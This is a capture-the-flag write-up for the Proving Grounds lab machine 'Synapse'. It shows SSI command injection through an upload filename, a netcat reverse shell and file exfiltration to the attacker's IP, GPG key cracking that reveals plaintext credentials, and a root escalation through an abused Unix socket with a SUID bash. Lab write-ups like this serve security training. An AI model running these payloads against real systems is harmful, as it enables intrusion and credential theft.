Summary #
On port 80 there is a web application called synapse
. Using the update profile picture functionality we can abuse a .shtml file with Server Side Includes (SSI) with the filename of the upload. Once initial access as the www-data
user, we can move laterally by cracking a GPG private key and getting access as the mindsflee
user. This user can run /home/mindsflee/synapse_commander.py
with sudo privileges which allows use to escalate our privileges to the root
user using socat
.
Specifications #
- Name: SYNAPSE
- Platform: PG PRACTICE
- Points: 25
- Difficulty: hard
- System overview: Linux synapse 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
- IP address: 192.168.209.149
- OFFSEC provided credentials: None
- HASH:
local.txt
:c1e6f2803edcc10234280b67ec3a0330
- HASH:
proof.txt
:fa1c3b1796b807f231ba9b887ffe945a
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir synapse && cd synapse && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 29 14:41 .
drwxrwxr-x 45 kali kali 4096 Aug 29 14:41 ..
drwxrwxr-x 2 kali kali 4096 Aug 29 14:41 enum
drwxrwxr-x 2 kali kali 4096 Aug 29 14:41 exploits
drwxrwxr-x 2 kali kali 4096 Aug 29 14:41 files
drwxrwxr-x 2 kali kali 4096 Aug 29 14:41 tools
drwxrwxr-x 2 kali kali 4096 Aug 29 14:41 uploads
## set bash variable
ip=192.168.209.149
## ping target to check if it's online
ping $ip
PING 192.168.209.149 (192.168.209.149) 56(84) bytes of data.
64 bytes from 192.168.209.149: icmp_seq=1 ttl=61 time=18.1 ms
64 bytes from 192.168.209.149: icmp_seq=2 ttl=61 time=18.6 ms
^C
--- 192.168.209.149 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.063/18.320/18.578/0.257 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.209.149:22
Open 192.168.209.149:21
Open 192.168.209.149:80
Open 192.168.209.149:139
Open 192.168.209.149:445
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 14:43 CEST
Initiating Ping Scan at 14:43
Scanning 192.168.209.149 [4 ports]
Completed Ping Scan at 14:43, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:43
Completed Parallel DNS resolution of 1 host. at 14:43, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:43
Scanning 192.168.209.149 [5 ports]
Discovered open port 22/tcp on 192.168.209.149
Discovered open port 80/tcp on 192.168.209.149
Discovered open port 445/tcp on 192.168.209.149
Discovered open port 139/tcp on 192.168.209.149
Discovered open port 21/tcp on 192.168.209.149
Completed SYN Stealth Scan at 14:43, 0.05s elapsed (5 total ports)
Nmap scan report for 192.168.209.149
Host is up, received echo-reply ttl 61 (0.018s latency).
Scanned at 2025-08-29 14:43:19 CEST for 0s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
Raw packets sent: 9 (372B) | Rcvd: 6 (248B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
21,22,80,139,445
## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,139,445 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
| 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: SYNAPSE
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Service Info: Host: SYNAPSE; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 15905/tcp): CLEAN (Couldn't connect)
| Check 2 (port 17236/tcp): CLEAN (Couldn't connect)
| Check 3 (port 54624/udp): CLEAN (Failed to receive data)
| Check 4 (port 44846/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s
| smb2-time:
| date: 2025-08-29T12:44:33
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: synapse
| NetBIOS computer name: SYNAPSE\x00
| Domain name: \x00
| FQDN: synapse
|_ System time: 2025-08-29T08:44:34-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: SYNAPSE
Going to the URL: http://192.168.209.149/ reveals a web application called SYNAPSE
.

When we click on User
and on the pencil icon at the bottom of the screen.

Once we clicked on this icon we get an profile picture update screen. It’s a PHP file name: edit_profile_picture.php
.

For testing the upload functionality, we create a test
file and click Browse
, select the created file and next click on Upload Image
.
## change directory
cd files
## create test file
touch test
Once uploaded we see two sequential screens, one saying we can only upload a certain format of an image followed by a inspect.shtml
saying this IP address is not authorized to upload, followed by the filename. Then the application return to homepage, index.html
. This inspect.shtml
, with the .shtml
extension can indicate an application accepts Server Side Includes (SSI) directives. Details on SSI: https://sudip-says-hi.medium.com/server-side-includes-all-you-need-to-know-about-ssi-3b63f74bc85.


After reading up on SSI, let’s try to change the filename to execute whoami
and escaping the ! symbol.
## create file with command `whoami`
touch "<\!--#exec cmd='whoami' -->".jpg
Indeed, we get command execution as the www-data
user on the target.

So now we can try to get a reverse shell.
## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::581:f73c:e44b:9501/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## create file with reverse shell command
touch "<\!--#exec cmd='nc 192.168.45.204 9001 -c bash' -->".jpg
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.209.149] 55840
## print current user
whoami
www-data
## print current directory
pwd
/var/www/html
## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/mindsflee/local.txt
## print `local.txt`
cat /home/mindsflee/local.txt
c1e6f2803edcc10234280b67ec3a0330
Lateral Movement #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@synapse:/var/www/html$ export TERM=xterm
www-data@synapse:/var/www/html$ stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::581:f73c:e44b:9501/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start local webserver
python3 -m http.server 80
## on target
## change directory
www-data@synapse:/var/www/html$ cd /var/tmp
www-data@synapse:/var/tmp$
## download `linpeas.sh`
www-data@synapse:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-29 10:50:12-- http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 88%[==================================================================================linpeas.sh 100%[=============================================================================================================>] 933.76K 4.38MB/s in 0.2s
2025-08-29 10:50:12 (4.38 MB/s) - 'linpeas.sh' saved [956174/956174]
## set the execution bit
www-data@synapse:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@synapse:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows there is a user called mindsflee
. In the home directory (/home/mindsflee/
) there is a file called synapse_commander.py
. There is also a hidden directory called .gnupg
which contains two files, namely a file called /home/mindsflee/.gnupg/creds.priv
and /home/mindsflee/.gnupg/creds.txt.gpg
.
## print users with a shell
www-data@synapse:/home/mindsflee/.gnupg$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
mindsflee:x:1000:1000:,,,:/home/mindsflee:/bin/bash
## change directory
www-data@synapse:/var/tmp$ cd /home/mindsflee/
## list content `/home/mindsflee`
www-data@synapse:/home/mindsflee$ ls -la
total 32
drwxr-xr-x 3 mindsflee mindsflee 4096 Jun 10 2021 .
drwxr-xr-x 3 root root 4096 Jun 10 2021 ..
lrwxrwxrwx 1 root root 9 Jun 10 2021 .bash_history -> /dev/null
-rw-r--r-- 1 mindsflee mindsflee 220 Jun 10 2021 .bash_logout
-rw-r--r-- 1 mindsflee mindsflee 3526 Jun 10 2021 .bashrc
drwxr-xr-x 2 root root 4096 Jun 14 2021 .gnupg
-rw-r--r-- 1 mindsflee mindsflee 807 Jun 10 2021 .profile
-rw-r--r-- 1 mindsflee mindsflee 33 Aug 29 08:41 local.txt
-rw-r--r-- 1 root root 2058 Jan 3 2021 synapse_commander.py
## change directory
www-data@synapse:/var/tmp$ cd /home/mindsflee/.gnupg/
## list content `/home/mindsflee/.gnupg`
www-data@synapse:/home/mindsflee/.gnupg$ ls -la
total 20
drwxr-xr-x 2 root root 4096 Jun 14 2021 .
drwxr-xr-x 3 mindsflee mindsflee 4096 Jun 10 2021 ..
-rw-r--r-- 1 mindsflee mindsflee 5180 Jun 14 2021 creds.priv
-rw-r--r-- 1 mindsflee mindsflee 124 Jun 14 2021 creds.txt.gpg
When we print /home/mindsflee/synapse_commander.py
, we can read the script. Choosing option 1,2 or 3 will result in a file (/tmp/synapse_commander.s
) being remove/created and the socket is bound to this file. Once the socket is listening it will execute any received datagram.
## print `synapse_commander.py`
www-data@synapse:/home/mindsflee$ cat synapse_commander.py
import socket
import os, os.path, sys
import time
from collections import deque
print("""\
_____ __ __ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ ____ _____ _____
| __| | | | | _ | _ | __| __| | | | | | _ | | | \| __| __ |
|__ |_ _| | | | | __|__ | __| | --| | | | | | | | | | | | | | | __| -|
|_____| |_| |_|___|__|__|__| |_____|_____| |_____|_____|_|_|_|_|_|_|__|__|_|___|____/|_____|__|__|
""")
print("Focus your approach with a system designed for single network port access.")
print ("With Synapse Commander, a single arm delivers three multi-jointed instruments")
print("and a fully wristed 3DHD camera for visibility and control in narrow surgical spaces.")
print("Streamlined setup, multiple control modes and a dynamic statistics display are included")
print
print("1 - Access to ARM management")
print("2 - Enable 3DHD camera")
print("3 - Settings")
print("4 - Reboot the system")
print
instruction = raw_input("Synapse Instruction:")
if instruction == "1":
print ("\nARM MANAGEMENT ENABLED")
os.system("touch 2343432445467676")
elif instruction == "2":
print ("\n3DHD CAMERA ENABLED")
os.system("touch 5344225453244546")
elif instruction == "3":
print ("\nACCESS TO SETTINGS CONFIGURATION")
os.system("touch 77756563456244546")
elif instruction == "4":
print ("\nSYSTEM REBOOTED")
os.execl(sys.executable, sys.executable, *sys.argv)
else:
os.execl(sys.executable, sys.executable, *sys.argv)
if os.path.exists("/tmp/synapse_commander.s"):
os.remove("/tmp/synapse_commander.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/synapse_commander.s")
os.system("chmod o+w /tmp/synapse_commander.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
We can use this, however, we can’t run this script as another user. So let’s look at the two files in the hidden directory. We could try to crack the GPG key using john
. First, let’s transfer the files to our machine using nc
. When sending the data, press CTRL+C after a little while to terminate the connection. Now use md5sum
to check the hash is the same on both files (on target and local machine). Repeat this process for both files.
## change directory
cd files
## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::581:f73c:e44b:9501/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## actions for downloading `creds.priv`
## on the local machine, setup a listener and redirect received data to a file
nc -lvnp 9001 > creds.priv
listening on [any] 9001 ...
## on target machine
## send data to local machine
www-data@synapse:/home/mindsflee/.gnupg$ nc -w 3 192.168.45.204 9001 < /home/mindsflee/.gnupg/creds.priv
## calculate hash
www-data@synapse:/home/mindsflee/.gnupg$ md5sum /home/mindsflee/.gnupg/creds.priv
dee4453d6c7d58b166a6bb82cfb11480 /home/mindsflee/.gnupg/creds.priv
## on local machine, also calculate md5sum hash
md5sum creds.priv
dee4453d6c7d58b166a6bb82cfb11480 creds.priv
## actions for downloading `creds.txt.gpg`
## on the local machine, setup a listener and redirect received data to a file
nc -lvnp 9001 > creds.txt.gpg
listening on [any] 9001 ...
## on target machine
## send data to local machine
www-data@synapse:/home/mindsflee/.gnupg$ nc -w 3 192.168.45.204 9001 < /home/mindsflee/.gnupg/creds.txt.gpg
## calculate hash
www-data@synapse:/home/mindsflee/.gnupg$ md5sum /home/mindsflee/.gnupg/creds.txt.gpg
76c71bb9d46761f612da60a5fbeb96a4 /home/mindsflee/.gnupg/creds.txt.gpg
## on local machine, also calculate md5sum hash
md5sum creds.txt.gpg
76c71bb9d46761f612da60a5fbeb96a4 creds.txt.gpg
All hashes line up, so there the same. Now we’re going to use gpg2john
to convert the file to a format that john
uses and try to crack the private key file. We find a password for the key: qwertyuiop
. Now import the private key in the GPG keyring and use this key to decrypt the text file.
## convert file
gpg2john creds.priv > creds.john
File creds.priv
## using `john` to crack the private key
john --wordlist=/opt/rockyou.txt creds.john
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwertyuiop (mindsflee)
1g 0:00:00:03 DONE (2025-08-29 19:47) 0.2832g/s 97.45p/s 97.45c/s 97.45C/s cancer..monique
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
## locally import private key in GPG keyring
echo "qwertyuiop" | gpg --batch --yes --allow-secret-key-import --import creds.priv
gpg: keybox '/home/kali/.gnupg/pubring.kbx' created
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key 8ECE3C203E92BE79: public key "mindsflee" imported
gpg: key 8ECE3C203E92BE79: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
## decrypt the textfile using the private key
echo "qwertyuiop" | gpg --batch --yes --decrypt --passphrase-fd 0 creds.txt.gpg
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase
user: mindsflee
password: m1ndsfl33w1llc4tchy0u?
This reveals credentials of the mindsflee
user (mindsflee:m1ndsfl33w1llc4tchy0u?
). Now we can login via SSH using these credentials and become the mindsflee
user.
## login via SSH using found credentials (`mindsflee:m1ndsfl33w1llc4tchy0u?`)
ssh mindsflee@$ip
The authenticity of host '192.168.209.149 (192.168.209.149)' can't be established.
ED25519 key fingerprint is SHA256:mqPCrimr9j626KOGoHM+qxgHUOYD4pu1+4KzhIvu5uA.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:45: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.209.149' (ED25519) to the list of known hosts.
mindsflee@192.168.209.149's password:
Linux synapse 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
mindsflee@synapse:~$
Privilege Escalation #
As the mindsflee
user listing the sudo privileges shows we can run /home/mindsflee/synapse_commander.py
as the root user.
mindsflee@synapse:~$ sudo -l
[sudo] password for mindsflee:
Matching Defaults entries for mindsflee on synapse:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mindsflee may run the following commands on synapse:
(root) /usr/bin/python /home/mindsflee/synapse_commander.py
This makes escalation of privileges to the root
user possible. Let’s do it. Run the script with sudo and select for example 2. Now start a new SSH session as the mindsflee
user and send a command to copy bash and set the SUID bit, which will be executed by the root
user. Luckily, socat
is on the target machine (otherwise we would need to upload it). We’ll use this tool to send the command.
## find `socat` on the filesystem
www-data@synapse:/tmp$ which socat
/usr/bin/socat
## run the `synapse_commander.py` script with sudo
mindsflee@synapse:~$ sudo /usr/bin/python /home/mindsflee/synapse_commander.py
_____ __ __ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ ____ _____ _____
| __| | | | | _ | _ | __| __| | | | | | _ | | | \| __| __ |
|__ |_ _| | | | | __|__ | __| | --| | | | | | | | | | | | | | | __| -|
|_____| |_| |_|___|__|__|__| |_____|_____| |_____|_____|_|_|_|_|_|_|__|__|_|___|____/|_____|__|__|
Focus your approach with a system designed for single network port access.
With Synapse Commander, a single arm delivers three multi-jointed instruments
and a fully wristed 3DHD camera for visibility and control in narrow surgical spaces.
Streamlined setup, multiple control modes and a dynamic statistics display are included
1 - Access to ARM management
2 - Enable 3DHD camera
3 - Settings
4 - Reboot the system
Synapse Instruction:2
3DHD CAMERA ENABLED
## in the second shell
## send the command to copy bash to /tmp and set SUID/execute bit
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/synapse_commander.s
## list content `/tmp`
mindsflee@synapse:~$ ls -la /tmp
total 1184
drwxrwxrwt 10 root root 4096 Aug 29 14:13 .
drwxr-xr-x 18 root root 4096 Jun 10 2021 ..
-rwsr-sr-x 1 root root 1168776 Aug 29 14:13 bash
<SNIP>
The SUID bit is set as the root
user. Now simply escalate using this bash
binary.
## escalate privileges using bash
mindsflee@synapse:~$ /tmp/bash -p
## print current user
bash-5.0# whoami
root
## print `proof.txt`
bash-5.0# cat /root/proof.txt
fa1c3b1796b807f231ba9b887ffe945a
References #
[+] https://sudip-says-hi.medium.com/server-side-includes-all-you-need-to-know-about-ssi-3b63f74bc85
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh